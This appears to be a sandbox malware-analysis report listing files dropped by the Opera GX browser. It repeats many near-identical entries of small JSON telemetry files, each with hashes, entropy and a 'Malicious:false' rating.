                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799 (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d7ad4.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d837f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d8bad.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d8def.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d8e3d.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d8fd3.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d8ff2.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d9021.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d9041.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d9060.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d907f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d909e.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d90cd.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d911b.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d912b.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d932f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d936d.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d937d.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d939c.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
